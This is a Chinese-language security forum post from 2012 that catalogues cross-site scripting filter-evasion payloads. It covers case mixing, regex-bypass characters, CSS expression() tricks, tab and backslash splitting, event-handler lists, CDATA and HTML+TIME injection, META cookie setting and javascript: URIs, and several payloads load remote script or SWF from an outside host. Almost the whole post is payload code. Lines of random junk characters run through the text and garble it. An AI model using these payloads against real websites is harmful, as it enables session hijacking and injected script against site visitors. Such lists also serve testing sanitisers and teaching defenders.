找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2278|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写
) w; K4 f# h1 r( f" w1 u6 R" h$ B3 g7 e9 I& m
3 h4 p7 q( h" X8 ^5 V/ R7 A& }
; S# \/ B* z3 c0 v7 {. `
    <sCript>alert(‘d’)</scRipT>+ [7 F- w& o& w7 s$ W: R: e) M; d
2 c# k) f2 g) a9 i( {: P5 S
2. 利用多加一些其它字符来规避Regular Expression的检查
& z/ U. A, d6 Y5 ?4 f( a$ {; H! E  \% ~
    <<script>alert(‘c’)//<</script>0 S- X& C/ ]" _9 J! R. M% ?+ k6 @
9 c. x) `7 g! U
    <SCRIPT a=">" SRC="t.js"></SCRIPT>. i9 Y9 M4 R% J0 l& }, y

, `: g( Q4 {& G3 }9 Z. W/ m    <SCRIPT =">" SRC="t.js"></SCRIPT>  Y4 G4 ^" r. l( |& N4 k/ y5 [: L

6 z; x2 L( ^+ S# P    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
; N% Q+ N, Z7 o$ \/ q& O$ t0 S) d9 Z9 Q, T
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>. k5 `* T  {% N. [$ h' Q
6 y0 G$ P$ Q0 y4 k: f* O) a
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
/ m+ k3 b; D# q, V3 B- P  M0 u+ y6 S5 Z# ^1 D& k/ V
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
; `- {4 W9 c7 n8 r
) d9 E" y+ W: R0 P$ O4 ^4 L' @3. 以其它扩展名取代.js+ @* H' s! A1 ~: ?
/ ^* n% ]6 }) J' b
    <script src="bad.jpg"></script>4 V* e+ n9 `7 e' b/ I* t/ b

. H* k& U1 O2 A* J& |4. 将Javascript写在CSS档里/ r8 F. S: y& ^# y; F

( e  \* _5 z  P6 B    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">. T9 {& z; ]' p% G9 B. F9 H$ x# {
7 w; N) F1 X+ w* X
       example:
$ A, T- {$ X1 r# c  ~6 z3 g9 W  z, d, Z* u5 t
          body {. Z& ?# l- X! r2 y. ~0 x

+ [' U( D+ |7 L% f               background-image: url(‘javascript:alert("XSS");’)
5 e9 E5 p7 c2 o; J- H6 n  l. f# O& q2 Z
          }
0 p0 ^; j0 C! O2 o% |( D  k% Z; y
5. 在script的tag里加入一些其它字符  x  \+ D, C5 C
  K2 L  v" c: Q
    <SCRIPT/SRC="t.js"></SCRIPT>9 v- ?0 q8 s9 S

  W- H2 m' m3 {6 O    <SCRIPT/anyword SRC="t.js"></SCRIPT>5 T) H9 ?/ O, A+ y+ L& A7 _
! q8 s6 H9 I( f$ L3 \, c
6. 使用tab或是new line来规避9 E% n7 v/ _9 d
) Y, Z- {! j" \: W* D
    <img src="jav ascr ipt:alert(‘XSS3′)">
* M1 ^5 r5 M) Z, R% e% m1 O" ?; F& E1 g7 B3 B
    <img src="jav ascr ipt:alert(‘XSS3′)">
9 @1 l/ G" s; ^$ j# c
1 z9 J, Y) l8 e/ V" v: z5 R    <IMG SRC="jav ascript:alert(‘XSS’);">
3 Y) X1 F" M% D% n( x, V  v# }# w5 c1 U7 l
         -> tag
) E* w! t+ }, Y% s0 C
" r0 T: O% h, |/ v# T1 o  `         -> new line
8 d9 `/ v2 V6 p
, o0 `. N; A! Z9 H" }7. 使用"\"来规避
- b; X" X! R% }0 _  b! Z
6 Q! ]9 Q+ [+ Y/ ~" T. d! }  S    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>: u8 c2 U5 t; F
+ A4 m6 j0 y3 G+ c3 }7 Q
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# A- [( l! q: h0 W' J, l- B1 {1 d: E
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">; y  Y/ M7 E* n% @( f6 Z4 Y9 {. ^( v

0 N$ e" b1 [5 _. m0 I' U    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">; S% w  K$ S( Q$ e- o. e) k

1 |. R. W+ i* ?5 d1 [7 G) x3 G    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>+ G! `/ v5 F. w* L* p4 ]
6 n; E1 {# P) p+ g+ U
8. 使用Hex encode来规避(也可能会把";"拿掉)% e5 b% ^9 r5 N( m/ p. o9 X# b  r
4 _/ A; ?0 K% L4 M0 z+ x. k
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">2 v$ h5 D  j' t9 `0 E) B

+ `$ s5 |! Z4 M7 g( ]3 s1 e        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">& L6 U1 a  B. V( ], x% x) X
: u& \  D9 k+ d; [" W9 Y
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
  x8 p8 ~3 [$ k$ V
3 p6 \% }# R  [) Q* z# _6 d, o        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
) Y, f' S- J* K8 S
; @: q3 d* p- Q  }7 o) d9. script in HTML tag& g, M, ?! I; g  r/ U  Q# Q
. P/ m2 M* R$ i, Y" f1 W9 |4 P
    <body onload=」alert(‘onload’)」>+ J3 Q; W0 a, C7 @. U4 P

0 P0 |  u7 W, {        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload  C5 u+ i( O7 Y& z, F" q% N9 h

) W/ y. v7 H$ z& t: S10. 在swf里含有xss的code
1 q; D+ q$ X) v8 j) A# q
0 y% K! W6 v) v3 w    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
, A; m7 i: J2 T) e( ^/ _* ~! D- q3 ^0 l; S, k* G
11. 利用CDATA将xss的code拆开,再组合起来。
2 U" Z0 v! H0 _  P/ C; H) y: `4 Y7 h* c
    <XML ID=I><X><C>
% P4 P5 S$ S7 p& L, ?& I  X& i$ e
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
% |$ I8 M9 \# m5 W( j4 R- s  _) ^  i' i( L" j, a4 B
    </C></X>% q; }7 M% T' [9 K. C

& r' U7 A- u' ^' J- x    </xml>, Z0 s$ e8 u0 Y. b
- |2 W) d2 z9 P+ Q+ v
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
% `' n3 |+ h- L- m0 a2 a& v$ A: Q( q5 x3 U8 [  M* J& r
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>- i2 n' I0 U4 z) \! c) \6 d

' n8 t% f7 r+ @0 E! _    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
; j0 [: |9 ?2 j8 H" k  v
* U6 ?' A5 X* o5 h0 @! i9 U9 c12. 利用HTML+TIME。
! c0 e" d# K- e7 n" U+ _* Q
+ V7 M; h/ q% e( C    <HTML><BODY>
) s1 A0 x: Q0 G+ {! T1 [1 J4 Z% ~/ \! d
, E! Y5 R/ i& [* w8 u$ \9 F    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">1 W6 f, R8 b/ {' {1 a
- T- ~0 V% [5 e. _& {/ R
    <?import namespace="t" implementation="#default#time2">
/ Z; [  M' C' g- `4 M& w5 K! v& b- {) ]1 \: E) z1 {6 |; Y
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
: P" Q  Y! Q8 t7 r9 ]) U! R0 _% Z! C2 j3 a
    </BODY></HTML>
8 j, o+ A0 T7 }2 }4 h9 P- C/ Q( M8 T' Y* C7 o
13. 透过META写入Cookie。; T/ q3 U$ p* l3 ?

/ O0 E* u5 N( e; H/ h    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
8 Z* J- k+ p( M3 ~& S: g% ^
* q- z( J) I1 @/ Z14. javascript in src , href , url& G" w) D. d* `1 P+ a1 E7 e

: Y3 E" X) ?4 o0 T; L% s3 R    <IFRAME SRC=javascript:alert(’13′)></IFRAME>8 Q! A' y$ J$ x: x

5 C: x4 u5 G7 G9 x3 F    <img src="javascript:alert(‘XSS3′)">+ Z& C3 O1 p- s' b9 J+ d3 K
9 Q6 K% r! g# U; x6 W# t8 S
<IMG DYNSRC="javascript:alert(‘XSS20′)">7 }1 @6 _8 P8 ?0 Q/ V- m- m' [& z

4 _( @  n. ]+ O% p& w( f    <IMG LOWSRC="javascript:alert(‘XSS21′)">
5 j: G! I/ u: }" r2 i
2 m. S$ q. N) s! N6 x5 c    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
, z& D7 c) q5 a- Q6 E" o( a4 M$ k
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>8 n9 f- w4 L4 d$ s2 \0 @

+ i, e) g: }' j5 Q! B    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
8 |' N8 m5 f- t2 |4 ]& L1 G( r+ r
, S6 ^" G! _2 ~    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">0 g; _' _" m4 f0 a; i
8 J, T; h8 E2 P/ q' B  j
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}2 h4 z  b: l3 P( h
/ `8 T0 ~. P; K( h" w
    </STYLE><A CLASS=XSS></A>0 }0 ^& ~- d6 ^

  W7 n! K6 Z7 B    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
4 \3 T- H  F" W( {0 K8 \9 P$ @9 n9 _/ W) U- Q( W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表